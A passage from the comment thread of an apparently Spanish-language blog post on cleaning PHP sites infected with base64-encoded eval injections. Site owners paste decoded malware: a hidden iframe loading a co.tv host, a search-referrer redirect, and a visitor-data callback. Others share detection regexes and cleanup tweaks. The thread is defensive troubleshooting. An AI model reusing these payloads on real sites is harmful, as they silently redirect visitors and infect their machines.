JGJvdCkgew0KZWNobyAnPGlmcmFtZSBzcmM9Imh0dHA6Ly95YnBxc2NiLmNvLnR2Lz9nbz0xIiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2lmcmFtZT4nOw0KfQ=='

    ReplyDelete
  40. hola Sergi, he intentado copiarte aca el codigo decodificado pero no me permite publicarlo (no se por que).

    De todas formas lo pegue en un .txt, el cual esta en la siguiente direccion: http://www.mediafire.com/?a2p5zxaxrsrczc5

    Gracias por todo, y espero tu respuesta

    ReplyDelete
  41. Me alegro mucho de haber encontrado este artículo, para los que no somos programadores esta ayuda es imprescindible. Muchas gracias no solo por el contenido sino por la forma de abordarlo. En cuanto a la documentación, en mi caso la semilla estaba en administrator/components/com_jce/cpanel/views/cpanel/tmpl/style.css.php de joomla. Una pregunta, sabrías decirme como llegó ahí ese archivo, ya estaba cuando instalé el componente o pudo haber sido inyectado de alguna forma. Vamos lo que me preocupa es que vuelva a aparecer.

    ReplyDelete
  42. Hola swdescargas, de verdad me alegro que te haya gustado el estilo del blog ;) en realidad, para eso inicié este blog ya hace unos cuantos añitos: simplemente para compartir con otros lo que voy aprendiendo por mí mismo y que no veo explicado en ningún otro sitio. Es la única manera de que entre todos vayamos aprendiendo y ahorrándonos muuuchas horas!!! le debo mucho a tantos otros programadores que llevan haciendo esto mucho antes que yo!

    Abordando tu pregunta, no puedo sinceramente responderte porque desconozco la verdadera causa de este tipo de infecciones. Lo más probable es que algún cabrón se dedica a introducir estas semillas con forma de archivo css en los templates de plugins de ciertos CMS precisamente porque debe ser el punto más débil de un CMS opensource: donde nadie va a mirar para encontrar un virus!

    Los responsables del CMS posiblemente confían "ciegamente" en que los gadgets de terceros que incluyen en su CMS están limpios, y sobretodo si hablamos de un TinyMCE, por ejemplo!!! Y en realidad ni los del TinyMCE están inspeccionando bien las aportaciones de su comunidad, ni tampoco los del CMS (léase Joomla, Barllo, Drupal, etc...).

    En fin, que los unos por los otros... la casa sin barrer :(

    Eso sí, creo que una vez que has limpiado tu site (especialmente la semilla), ya no vuelve a aparecer, a menos que la descargues de nuevo con más código que agregues a tu CMS, claro. Es decir, me atrevería a decir que te la descargaste junto con el CMS.

    Por esta razón, nunca me gusta descargarme nada de sitios de terceros, tipo repositorios o directorios de software para download. Prefiero siempre -por seguridad- buscar la web oficial y descargármelo de allí ;)

    Un saludo!
    SERGI

    ReplyDelete
  43. Nuevamente muchas gracias Sergi, alto y claro.
    Enhorabuena por tu sitio.

    ReplyDelete
  44. Hola Sergi, ¿lograste revizar el archivo que te publique aca en el blog?.

    Que pena tanta molestia, pero la verdad aun no he logrado encontrar la "semilla". Cuando ejecuto el archivo php que nos proporcionas en tu post, se soluciona el problema, pero a la media hora se vuelve a inyectar codigo malicioso.

    Realice una busqueda en el servidor para mirar si habian archivos con el nombre "style.css.php", pero no habia ninguno. Encontre uno muy parecido pero con el nombre "style.css.php3"

    ReplyDelete
  45. Hola Manuel, siento mucho no haberte contestado antes. La verdad es que he ido bastante ocupado y en fin... también un poco de pereza... somos humanos! ;)

    Pero dado que insististe, me descargué el archivo que comentas, y bueno... resulta que buscando en internet he hallado que se trata de algo diferente a lo expuesto en este artículo mío, aunque tal vez se propague igual....

    Es muy interesante este virus que te ha infectado a ti. Es del tipo que llaman "Trojan.JS.Iframe". Es un troyano que trabaja a través del javascript. Me explico acontinuación (a ver si pensando en voz alta me aclaro las ideas).

    El código en base64 que tú has decodificado muestra que lo que hace ese script de PHP es comprobar que el visitante no es un bot (de buscador o de antivirus) y entonces -en caso de que no lo sea- devuelve junto con el HTML habitual de tu web un IFRAME de un pixel de ancho y de alto, con lo cuál "no se ve" y ningún visitante lo detecta.

    Ese IFRAME contiene la dirección de un un subdominio en co.tv (el maldito que hizo esto registró posiblemente cientos de subdominios GRATIS en co.tv y los usa para sus fechorías). Y lo que se carga en ese IFRAME es un malware que corre sobre javascript. Y en fin... ya no he seguido leyendo porque la verdad no me interesa mucho más. Igual que a ti me interesa saber cómo eliminarlo!

    Es decir, que si no he entendido mal, no hace daño al servidor, sino a los visitantes de tu web, en los que carga un javascript que probablemente explote algunas vulnerabilidades típicas para COLARSE en su PC :(((

    Sea como sea, tenemos que parar esto, no?
    Voy a ver si descubro cómo se te re-aparece tu virus después de eliminarlo con mi "script de búsqueda y limpieza" ;)

    Sea como sea, ánimo! y cuéntanos cómo lo resolviste cuando lo hagas!

    Un abrazo!
    SERGI

    PD: aquí encontré la información... (en inglés)

    http://sucuri.net/attacks-from-co-tv-more-malware-on-free-domains.html

    http://sucuri.net/malware/malware-entry-mwiframehd203

    ReplyDelete
  46. Oye, se me ocurre una idea para encontrar la semilla. Si no me equivoco todos estos virus deben actuar codificando su código en base64... Así pues, si modificamos el script de limpieza (o hacemos uno parecido) para que nos decodifique el base64 al vuelo mientras escanea nuestro site y nos muestra ése código por pantalla...mmmm, entonces podríamos (con un poco de calma) seguir la pista del virus más fácilmente y probablemente encontrar la semilla.

    Piensa que la semilla hace algo muy diferente a los otros códigos! lo que hace es infectar a los archivos PHP del site ;)

    En fin, porqué por favor no me cuelgas de nuevo en mediafire unos cuantos archivos infectados de tu site. Con eso podría re-programar el script ;)

    Es que lamentablemente no me guardé una copia de los archivos infectados! sino lo haría con los míos.

    Un saludo!
    SERGI

    ReplyDelete
  47. hola usher eh lelgue aqui por el mismo motivo que todos eh probado tu archivo y cuando lo llamo del navegador se queda un rato y luego me tira siguiente error: Error 324 (net::ERR_EMPTY_RESPONSE): El servidor ha cerrado la conexión sin enviar ningún dato.
    para mas datos mi web es joomla y esta sobre un servidor linux
    esta infeccion es la segunda que me pasa o es una sola que no corregi bien...


    por lo pronto eh bajado el site y el avast me encontro dos archivos infectados el problema es que no puedo hacer andar tu archivo ... espero una ayuda ... desde argentina muchas gracias y espero tu respuesta

    ReplyDelete
  48. Hola Mariano, lo que cuentas tiene aspecto de ser una limitación de tiempo de ejecución. Habría que modificar mi script para que use algún tipo de contador en el bucle que recorre tu arbol de archivos, para que ejecute "por partes" la inspección de tus archivos, ¿sí me entiendes?

    Sería una modificación interesante. Lástima que ando muy liado con mi trabajo,y no tengo ahora tiempo de ayudarte con eso.

    Saludos!
    SERGI

    ReplyDelete
  49. Hola tengo este codigo malicioso en mis archivos pero la verdad nosé como llamar al script desde el navegador o no se como hacerlo, agradezco que me pueda guiar para hacerlo, porque tengo todos mis archivos infectados

    ReplyDelete
  50. Hola Mabel, no quisiera ser grosero, pero si no sabes cómo "llamar a un script que has subido a tu propio servidor"... creo que mejor busques ayuda de un profesional de las webs.

    Lo digo porqué es algo BÁSICO. En fin, a riesgo de hacer el ridículo te lo especificaré en pasos:

    1. te conectas por FTP al servidor dónde cuelgas los archivos de tu web

    2. en particular tienes que localizar el directorio o carpeta en donde tienes "la raíz". Es decir, donde tienes el index.php, index.asp o index.htm de tu web

    3. allá tienes que subir el archivo search_and_replace.php que te descargaste de este artículo (antes debes decomprimirlo, obvio!).

    4. ahora simplemente lo "llamas" desde el navegador visitando una dirección tal como esta:

    http://www.tudominio.com/search_and_replace.php

    en dónde obviamente debes sustituir "tudominio.com" por tu nombre de dominio.

    Como te digo, es una operación básica. Si aún después de leer estos pasos no sabes hacerlo, mejor que busques ayuda de un amigo que sepa o un profesional ;)

    Un saludo!
    SERGI

    ReplyDelete
  51. He cambiado un poco el código del script para quite los espacios en blanco del principio y detecte comillas simples o dobles.

    $needle = '/[\s]+eval\(base64_decode\(["\'][A-Za-z0-9\=\/\+]+["\']\)\);/';

    Fco

    ReplyDelete
  52. Muchísimas gracias Fco.!!!! excelente aportación. Te tengo envidia sana... pues nunca he entendido del todo cómo funciona la sintaxis de las expresiones regulares.

    Ya implementé tu aportación al script de descarga ;)

    Por cierto, ¿tú puedes compartirnos un enlace realmente interesante de algún artículo o tutorial para "dummies" sobre las expresiones regulares? Una de las razones por las que nunca he conseguido salirme adelante es porque no he encontrado un tutorial decente...

    Gracias sea como sea!
    Salut!
    SERGI

    ReplyDelete
  53. This comment has been removed by a blog administrator.

    ReplyDelete
  54. Hola, hace rato que no hay comentarios, espero tener respuesta

    Intenté la solucion pero me dice NOT FOUND

    el codigo en mi php dice lo siguiente:

    $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);

    mi email es hernanrod@yahoo.com

    desde ya agradezco si puedes ayudarme

    saludos!

    ReplyDelete
  55. Encontré seis variaciones de esta infección, a mi me atacaron con $matc_4, debe existir alguna forma e ponerlas en un array para que php devuelva el $needle correspondiente.

    $matc_0= '/[\s]+eval\(base64_decode\(\(["\'][A-Za-z0-9\=\/\+]+["\']\)\)\);/';
    $matc_1= '/eval\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/';
    $matc_2= "/eval\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/";
    $matc_3= '/[\s]+evaL\(base64_decode\(\(["\'][A-Za-z0-9\=\/\+]+["\']\)\)\);/';
    $matc_4= '/evaL\(base64_decode\(\'[A-Za-z0-9\=\/\+]+\'\)\);/';
    $matc_5= "/evaL\(base64_decode\(\"[A-Za-z0-9\=\/\+]+\"\)\);/";

    ReplyDelete
  56. Por el momento creo que se puede usar el código que puse anteriormente y probar cambiando:
    $needle=$matc_0; ó $needle=$matc_1;... ETC...

    Hasta encontrar una coincidencia, en mi caso el script no me funciono en en la raiz del sitio sino en la raiz del programa infectado (WHMCS)

    ReplyDelete
  57. Además modifique las lineas 62 al 70
    Con el fin de mostrar en rojo grande (muy visible) los archivos infectados.

    $code = file_get_contents($dirname . '/' . $file);
    if ( preg_match($needle, $code) )
    {
    $matchtext = '<...span style="color:#CC0000; font-size:20px; font-weight:bold;">...Found';
    $newcode = preg_replace($needle, $replacement, $code);
    copy($dirname . '/' . $file,$dirname . '/' . $file.'_hackedcopy');
    file_put_contents($dirname . '/' . $file, $newcode);
    $matchtext .= '...Backuped and fixed.<.../span>';
    }

    Disculpen que no puse todo en un solo comentario, pero iba comentando mientras modificaba....

    Nota: deben cambiar <... en la etiqueta span por < solamente (quitar los tres puntos), ya que el blog de comentarios aquí no permite usar esa etiqueta

    ReplyDelete
  58. Gracias Carlos, ahora no tengo tiempo, pero mañana implemento tus cambios en la versión que tengo colgada para compartir aquí y te menciono en el artículo ;)

    Saludos!

    ReplyDelete
  59. Hola,

    Yo agregue a la lista de archivos el shtml tambien.

    Slds

    ReplyDelete
  60. Fui atacado con lo mismo, use el script search_and_replace.php.zip y el sitio volvio a funcionar pero al otro dia le sucedio lo mismo.

    Que puedo hacer para que no siga ocurriendo?

    La decodificacion del codigo me dio esto:

    error_reporting(0);
    $qazplm=headers_sent();
    if (!$qazplm){
    $referer=$_SERVER['HTTP_REFERER'];
    $uag=$_SERVER['HTTP_USER_AGENT'];
    if ($uag) {
    if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
    if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
    header("Location: http://brugge.osa.pl/");
    exit();
    }
    }
    }
    }

    ReplyDelete
  61. Ufff... no sé... pero me imagino que lo más probable es que no limpiases realmente todo el arbol de archivos y se ha vuelto a extender la inyección de código malicioso.

    Piensa que estos scripts buscan extenderse a todos los archivos que pueden, ¿estás segura de que has limpiado todos los archivos que tengas hospedados? es decir, se me ocurre de que según qué configuración tengas en tu servidor, algunos archivos de un vhost (terminología apache para referirse a cuentas de hosting por dominio) pueden haber accedido a los de otro vhost.

    Lo que está claro es que no hay muchos modos de "contagio". En base a mis conocimientos (básicos) solo me ocurren dos:

    A) introdujiste un archivo infectado al instalar un nuevo CMS o plugin o software de terceros (que es el caso que trato en este artículo)

    B) recientemente he descubierto (porqué fui atacado) las "inyecciones de PHP" (algún día, cuando sepa un poco más al respecto escribiré un artículo). Las cuales -resumidamente- son código PHP que se introduce en tu arbol de archivos aprovechando una vulnerabilidad de tu aplicación web. Por ejempo, si tienes algún formulario desde dónde los visitantes pueden subir algún archivo al servidor y no lo renombras al guardarlo!!! Me pasó a mí, recientemente, porqué puse una DEMO abierta en la cuál di acceso al administrador -desde donde se pueden subir imágenes- y sin pensar que por ahí hay gente maliciosa que aprovecha cualquier despiste tuyo para colarte un gusano :S en fin...

    Tendrás que investigar por tu cuenta, pero en fin, si quieres seguir comentando tal vez se me ocurra algo o a otro lector. Saludos!
    SERGI

    ReplyDelete
    Replies
    1. Finalmente lo que hice fue esto, actualice todos los plugins que tenia instalado, cambie los passwords de FTP y usuarios de WP, y por ahora no volvió a ocurrirme!

      Realmente no entiendo como uno se contagia esto, lo curioso es que cuando uno ve las fechas de los archivos por FTP tienen las fechas cuando fueron subidos hace tiempo y no que fueron modificados recientemente.

      Se podria crear un script que borre todos los archivos *.php_hackedcopy? me parece que no tienen ninguna utilidad y es bastante complicado borrarlos manualmente.

      Delete
    2. Desde el shell:

      for i in `find . -name '*hackedcopy'`;do rm $i; done

      Delete
    3. Para los que no sepan conectarse por SSH a su servidor, o directamente su contrato de hospedaje no se lo permita, he añadido un nuevo script al archivo ZIP para descargar del artículo:

      remove_copies.php

      simplemente lo sitúas en la raíz del directorio que quieras limpiar y eliminará TODOS los archivos con el sufijo "_hackedcopy", es decir, las copias "de seguridad" que generó el script de limpieza

      search_and_replace.php

      De esta forma, cerramos el ciclo de trabajo convenientemente, verdad? Además, si alguno lo desea, puede modificar fácilmente el script para borrar archivos con otros sufijos... Vete a saber para qué, no? pero en fin... ahí tienen el script.

      Delete
  62. Gracias por la excelente aportación, me ha servido mucho para poder limpiar muchos de mis sitios web.

    Tengo una pregunta:

    - ¿Hay algun modo de detectar por donde ha entrado el código malicioso y como prevenirlo?

    ReplyDelete
  63. Me temo, Chalom, que siempre que introduces en tu servidor software de terceros te puede pasar eso ;) y no siempre con mala voluntad. Como expliqué en el artículo mi infección venía en un "falso" skin para un addon de una librearía de terceros que trae el Wordpress.

    La única recomendación que se me ocurre es la de siempre: actualizar siempre que sea posible tu software de terceros (para implementar posibles parches que ellos vayan detectando).

    Además, tal como digo frecuentemente a mis clientes, es imprescindible tener un sistema de backup acorde a la frecuencia de uso de su aplicación web. Es lo único que te salva del desastre cuando te ocurre un hackeo o un fallo físico del servidor, etc...

    ReplyDelete
  64. Buen Aporte che me salvaste la vida !! esta muy
    buena ya que me habian encriptado en un wordpress son tan raticas ya uno ya descofia de todos xd

    ReplyDelete
  65. SERGI agradezco el aporte fijate que tambien en nuestros servidores hemos encontrado shells y scripts con eval(gzinflate(base64_decode(''))); o con comillas dobles desconozco como agregar para que tambien reconozca esos archivos

    ReplyDelete
  66. Una Maravilla Muchas Gracias Por este Gran aporte !!!!

    ReplyDelete
  67. Amigos el archivo "semilla" infectado en mi web estaba aqui:
    public_html\sitio2\plugins\editors\tinymce\jscripts\tiny_mce\plugins\tinybrowser\css\style_tinybrowser.css.php

    lo que tenia era esto:
    <?php

    // no direct access
    defined('_JEXEC') or die('Restricted access');

    y nada mas, entonces esto era lo exparcia el codigo a los archivos php???

    Saludos y gracias

    ReplyDelete
  68. Amigos el archivo "semilla" infectado en mi web estaba aqui:
    public_html\sitio2\plugins\editors\tinymce\jscripts\tiny_mce\plugins\tinybrowser\css\style_tinybrowser.css.php

    lo que tenia era esto:
    <?php

    // no direct access
    defined('_JEXEC') or die('Restricted access');

    y nada mas, entonces esto era lo exparcia el codigo a los archivos php???

    Saludos y gracias

    ReplyDelete
  69. Hola Pablo, pues no, la verdad no. He estado investigando en Google lo del defined('_JEXEC'), y resulta que es una comprobación habitual de Joomla. En cada archivo de PHP de este CMS se ve que han puesto esta frase al inicio:

    defined('_JEXEC') or die('Restricted access');

    que lo que hace es comprobar que se haya definido la constante _JEXEC y si no el script se interrumpe (->die()). Es una medida de seguridad del Joomla, para que nadie pueda llamar a un archivo PHP del "interior" de Joomla y obligar a que todas las llamadas pasen por el index.php, en donde se define efectivamente esa variable '_JEXEC'.

    Así que no creo que tenga que ver con la inyección de PHP de la que hablamos en este artículo. ¿No será que has confundido esta medida de seguridad de Joomla con una inyección externa? no tengo a mano el código de Joomla y paso ahora de buscarlo, pero tal vez lo hayan puesto codificado como la inyección y eso te ha confundido.

    Un saludo!
    SERGI

    ReplyDelete
  70. Me sigue sucediendo lo mismo, ya van como 7 veces, Actualice los plugins, cambie el password a todo :( no se que hacer ya! Como puedo detectar de donde viene, que deberia buscar???

    ReplyDelete
  71. Ante todo gracias por este excelente trabajo y esfuerzo, pero yo no me salgo. He intentado ejecutar el script desde varios servidores y solo me muestra el listado en uno, pero con el mensaje not found, y se positivamente en que archivo está el codigo malicioso. El archivo está en:
    www.nmip08.con/basura.php
    Si pudiera alguien ayudarme estaria etermamente agradecido, y evitaria que me vuelva loco...

    Gracias de antemano a todos

    ReplyDelete
  72. Hola Wilsailor, esto que dices me recuerda a algo que recientemente me viene sucediendo: que en según qué sites y según qué cambios hago en el código me sale la página en blanco. La causa habitualmente está en que hay algún error en el código o en la lógica del código (cualquier tipo de error de ejecución) y el PHP de ese servidor está configurado para no mostrar errores!!!! es un mal rollo, jejeje!!

    En fin, la solución es activar el "display" (visualización) de los errores. Hay dos maneras de hacerlo:

    - cambiando la configuración del PHP.ini :(((
    - insertando la siguiente línea de código al inicio del archivo de tu script (después de <?php, claro!):

    ini_set('display_errors','On');

    hay varias opciones para esta instrucción, pero esto suele ser suficiente. Lo malo es que si el error está en el mismo archivo que contiene esa instrucción, entonces no muestra el error y sigue mostrando la página en blanco! :((

    La solución a eso es llamar a un archivo que a su vez hace un "include" del que realmente hace el trabajo duro. En el primero pones esa instrucción y listo! ;)

    Una vez activados los errores tal vez aparezca alguno que te indique qué pueda estar mal. Pueden ser varias cosas: incompatibilidad de algún comando usado en el script con la versión del PHP que tengas instalada, alguna ruta de archivos mal, limitación de permisos para acceder a directorios y archivos, etc...

    Por cierto, ¿tu servidor es Windows o Linux? es que este script del que hablamos está muy probado en el entorno Linux que suele ser el más habitual en la comunidad opensource, y desconozco como reaccionará en un entorno windows en donde creo que las rutas se construyen con otro tipo de barras (creo, no?) etc etc...

    ReplyDelete
    Replies
    1. Hola Sergi:

      Mil gracias por tu respuesta, pero el problema que tengo creo que es mas complicado y necesito ayuda urgente. El servidor que tengo infectado es linux, pero el proveedor no me permite modificar el php.ini. He logrado desencriptar una parte del codigo con la siguiente herramienta:
      http://www.tareeinternet.com/scripts/base.html
      Pero al principio del codigo siguen saliendo caracters extraños, independientemente de esto, no se muy bien que hacer con el codigo desencriptado, ademas creo que yo tengo otro problema adicional, porque al archivo que contiene el codigo malicioso lo llama otro archivo en otro directorio que si lo elimino me deja de funcionar todo el sitio.
      Estoy desesperado, y no se que hacer...
      Gracias

      Delete
    2. Ya, es que lo que no tienes que hacer es ELIMINAR ningún archivo, excepto la "semilla" (en mi caso era styles.css.php. Todos los demás archivos infectados son archivos útiles de tu aplicación web!

      Si te das cuenta, este artículo tiene ya casi dos años de antigüedad, y supongo que sabes que los virus y troyanos evolucionan continuamente, no me extrañaría que ahora fuera diferente a cuando yo me quedé infectado. Me refiero a que antes el archivo "semilla" era un archivo inútil para la aplicación y lo podías borrar. Pero vete a saber, tal vez ahora empieza siendo así pero lo primero que hace es replicarse de otro modo de forma que la "semilla" queda "sembrada" en archivos importantes del site que no puedes eliminar obviamente.

      Chicos, ya no sé cómo ayudaros, me refiero a ti y a Romina. En estos casos el éxito viene de hacer bien un trabajo detestivesco del tipo "búsqueda y captura" y del tipo "ensayo y error". Ya veo que es lo que estás haciendo.. pero aún no te ha dado suficientes resultados... no desesperes y sigue probando y leyendo! Yo no sé ya en qué más puedo ayudarte :(

      Pero si tienes alguna duda concreta, de cómo hacer algo... en fin, aquí estoy, eh. Por ejemplo, me temo que no has probado lo que te dije más arriba de llamar al search_and_replace.php desde otro archivo en el que pondrás la instrucción:

      ini_set('display_errors','On');

      eso te ayudará a saber si hay errores de algún tipo en el script.

      Un saludo!

      Delete
  73. Romina, no tengo ni idea de qué deberías buscar, jejeje... cada servidor y cada aplicación es un mundo. Me temo que tendrás que usar tu creatividad para explorar cosas concretas. Creo que con lo explicado aquí tienes ya herramientas suficientes para buscar y hallar lo que te da problemas.

    En todo caso, no sé si entendiste la idea de fondo del artículo: el archivo contaminante VIENE con el software que instalas, metido en algún complemento de algún plugin generalmente (normalmente un editor HTML). Así que reinstalando el sistema no consigues más que volver a introducir el "archivo contaminante" en tu sistema de archivos!!! lo que tienes que hacer es simplemente limpiar tu sistema de archivos, eliminar ese archivo semilla, y nada más!!! jejeje, si reinstalas has de volver a empezar!

    Bueno, puede ser eso o que tu aplicación web tiene un agujero de seguridad (a mí me pasó una vez). Por ejemplo, que estés permitiendo a visitantes anónimos subir archivos "anónimos" a tu sistema de archivos, y que después tienen una ruta conocida y conservan la extensión original del archivo (por ejemplo PHP). A mí me sucedió con una "demo" que colgué. Ingenuo de mí no pensé en que algunos entrarían en la demo para colgar basura!!! y peor aún, para colarse en mi servidor.

    Suerte!
    SERGI

    ReplyDelete
    Replies
    1. Si comprendo que viene de un plugin, los que tengo instalado son: All in One SEO Pack, banner-manager, More Fields, More Taxonomies, More Types, RSS Footer, ShareThis.

      Pero no se que tengo que buscar en los archivos, si me mostras un poco de código o algo tal vez entendería.

      Ahora instale WP Security Scan y estuve aplicando alguna de las recomendaciones como eliminar el usario admin, cambiar el prefijo de wp_, solo me queda en rojo la sugerencia: The file .htaccess does not exist in the wp-admin section. Read more why you should have a .htaccess file in the WP-admin area here.

      Veremos si esto ayuda, porque no tengo tanto conocimiento simplemente hice un blog pensando que WP me ayudaría pero me da muchos dolores de cabeza :(

      Delete
  74. Hola Romina, como buen amante del opensource celebro los éxitos cosechados por Wordpress, pero la verdad he leído que no eres la única que tiene problemas de este tipo. Es un poco lo mismo que con Windows (frente a Linux, por ejemplo): que como lo usa mucha gente también hay mucha más gente con malas intenciones atacando vulnerabilidades, así que Wordpress es objeto de muchas cosas de estas.

    No sé yo tampoco mucho más acerca de cómo ayudarte, tal como te dije te tocaría investigar más. Lo del htaccess no creo que cambie nada. Los archivos contaminados (te recomiendo que leas todos (!) los comentarios de arriba) suelen ser del tipo styles.css.php es decir un archivo de php que sustituye y parece el típico styles.css Pero bueno, eso puede ser diferente en otros casos.

    He leído por ahí que si te gusta wordpress tienes la opción gratuita de hospedar su blog como ellos bajo un subdominio de wordpress.com y así ya te olvidas de estas cuestiones, no!? Además creo que pagando pueden "ponerlo" bajo el nombre de dominio que tú quieras si así lo prefieres. En fin, es una solución casi perfecta.

    Suerte!

    ReplyDelete
    Replies
    1. Me dio menos problemas Windows que Wordpress, o al menos es mas entendible como resolver los problemas de Windows!

      Le pase el scan de WebsiteDefender y encontro en 404.php que había algo raro, esta era la línea que borre, espero que con esto lo solucione

      Me estuvo borrando varios archivos de imágenes, y los unos links que no se cómo recuperar :(

      Delete
  75. Estimados amigos, de antemano gracias por su ayuda.
    El codigo insertado en mis archivos php es:

    global $ sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "l b 1 1"; if(! @ $ _ COOKIE[$sessdt_k]) { $ sessdt_f = "102"; if(! @ headers_sent()) { @ setcookie( $ sessdt_k,$sessdt_ f); } ..........

    aki el codigo completo : http://stackoverflow.com/questions/7412267/what-this-php-script-will-do-is-it-malicious-php-code

    al remplazar en la variable $needle obtengo un error en la linea 63, el codigo malicioso no esta bien adaptado a la variable, por favor espero su pronta ayuda.

    saludos cordiales
    walter diaz

    ReplyDelete
  76. SERGI,

    muchas gracias por compartir esta información y el script para solucionar el problema!

    Te estoy muy agradecido!

    Saludos!

    Ruben Lunda

    ReplyDelete
  77. Mil gracias por tu respuesta, pero el problema que tengo creo que es mas complicado y necesito ayuda urgente. El servidor que tengo infectado es linux, pero el proveedor no me permite modificar el php.ini. He logrado desencriptar una parte del codigo con la siguiente herramienta:
    http://www.tareeinternet.com/scripts/base.html
    Pero al principio del codigo siguen saliendo caracters extraños, independientemente de esto, no se muy bien que hacer con el codigo desencriptado, ademas creo que yo tengo otro problema adicional, porque al archivo que contiene el codigo malicioso lo llama otro archivo en otro directorio que si lo elimino me deja de funcionar todo el sitio.
    Estoy desesperado, y no se que hacer...
    Gracias

    ReplyDelete
  78. Muchas gracias por el apoyo mi amigo, yo creo que ya muchos te agradecimos el habernos salvado la vida pero nunca será suficiente :D gracias por compartir, aunque aún no encuentro la semilla de la inyección aún estoy en eso pero tu script me fue de mucha ayuda... gracias.


    Ernesto Pérez :)

    ReplyDelete
  79. Buenas tardes, yo hoy he dectectado en mi servidor el dichoso "BICHO" eval base 64, en mi servidor tengo un total de 12 webs y no encuentro la manera de ejecutar el script que aportas en esta publicación y además no se bien como funciona. Yo uso Wordpress hace tiempo y la verdad que esto está siendo bastante lioso para mi, puesto que descargo los archivos php y el wordpad no muestra el codigo malicioso, en cambio abriendo el mismo archivo con blog de notas lo detecto, la verdad que estoy un poco desesperado ....

    Me gustaría que me explicaras paso a paso como ejectuar este script y borrar todos los codigos eval base 64.

    Un cordial saludo y mil gracias de Antemano

    Codigo infiltrado:

    <?php /*god_mode_on*/eval(base64_decode("ZXZhbChiYXNlNjRfZGVjb2RlKCJaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ0phV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMHBvVmpGc2JsTXdUa2RpVjFKWVRsZHdhMUl5ZURKWmJYYzFZa2RXU0dKSWNHdFRSVEYyV BLA BLA BLA BLA BLA 1UVQwaUtTazdJQT09IikpOyA=")); /*god_mode_off*/ ?><?php

    ReplyDelete
  80. Tranquilizandome un poco he podido ejectutar el scrip, pero me pone todos los archivos en verde, por lo tanto algo pasa, creo que el este script no encuentra el codigo que infecta mi web... que puedo hacer?

    ReplyDelete
  81. Tengo el mismo problema que describe Javier más arriba, e incluso con el mismo código. Intenté cambiar el script pero no pude hacer que los detectara, intuyo que ese prefijo "god_mode_on" tiene algo que ver.

    También infectó todas mis páginas.

    Un saludo y gracias.

    ReplyDelete
  82. Me paso eso el dia de hoy y use el script y funciono de maravillas!
    Muchas gracias!

    ReplyDelete
  83. Gracias por el script, me fué de mucha ayuda, no tuve bingun problema, funciona de maravillas, saludos y gracias de nuevo

    ReplyDelete
  84. Muchas gracias por el script, funciona de maravilla y pude limpiar 10 sitios.
    Seria buena idea hacerlo plugin para WordPress no?

    Una pregunta:
    Al eliminar de todos mis php's esa cadena queda un residuo de en cada archivo (que es donde estaba el base64 decode blabla). Hay alguna forma de que tambien borre eso para que quede el archivo completamente como estaba en un principio? o no tiene caso hacer eso?


    Nuevamente muchas gracias y saludos cordiales!
    Carlos

    ReplyDelete
  85. Hola Carlos, se agradece tu feedback ;)

    En cuanto a lo que preguntas de "dejar como estaba el archivo"... lo veo complicado. Tal vez será porqué puede venir en diferentes formas, no? si has leído los últimos comentarios (más arriba) estos scripts inscrustados han ido cambiando de forma y hay gente que con el script que tengo aquí colgado ya no consiguen limpiar los archivos de su site, y eso que lo que ha cambiado es apenas que se añaden unos comentarios en texto plano!!!

    Así que no sé... nos conformaremos con que limpie, no? ;)

    Ah y lo de Wordpress, si se hace estaría bien que avises... para que yo pueda referenciarlo arriba en el artículo (para los que llegan nuevos... pues parece que en los últimos 2 meses ha habido un aluvión de nuevos sites "contaminados").

    Un saludo!
    SERGI

    ReplyDelete
  86. Sos un genio!! me solucionaste el problema en 5 minutos!! voy a limpiar otros sitios que tambien se me infectaron.
    Gracias!

    ReplyDelete
  87. Hola, antes que nada: Muchas gracias por todo el trabajo realizado para esto. Felicitaciones.

    Como muchos ya mencionaron, yo también quedé infectado, utilicé los archivos y funcionaron a la perfección.

    Actualmente estoy buscando la "semilla" para eliminarlo por completo, pero no sé exactamente en qué parte del código se encuentra.

    El source data que me arroja es el siguiente:
    http://www.ricardobucio.com/codigo.txt

    Y salvo tres links que veo entre tantas letras, no consigo encontrar algún dato que me lleve a la "semilla".

    Quiero suponer que se encuentra por ahí, pero como la verdad desconozco este tipo de códigos, no sé por dónde se podría encontrar... ¿alguna pista?

    ReplyDelete
  88. Hola Ricardo, me he mirado el código que me has colgado y eso me ha dado lugar a buscar un poco por ahí en Google, y he encontrado una joyita, aunque está en inglés. Creo que habla del mismo código del que estás infectado y da una solución, aunque requiere del uso del shell de Linux a través de una conexión SSH...

    http://domesticenthusiast.blogspot.mx/2012/03/dyslexic-mayans-want-to-sell-you-cialis.html

    Esta semana voy a tope de trabajo, pero tal vez la siguiente sea buen momento para probar a hacer un código PHP que implemente las búsquedas que propone el autor del artículo. Me consuela el comprobar que él sostiene mi misma opinión: se trata de un trabajo de investigar y seguir pistas para averiguar cuál ese earchivo semilla.

    En este sentido él da algunos consejos como fijarse en el "propietario" de los archivos (DE TODOS LOS ARCHIVOS...!!! que pueden ser miles), de sus "privilegios de acceso" y de la fecha de la última modificación. Dice él que con eso en la mano puedes acotar un poco la lista de posibles semillas, jejejeje.

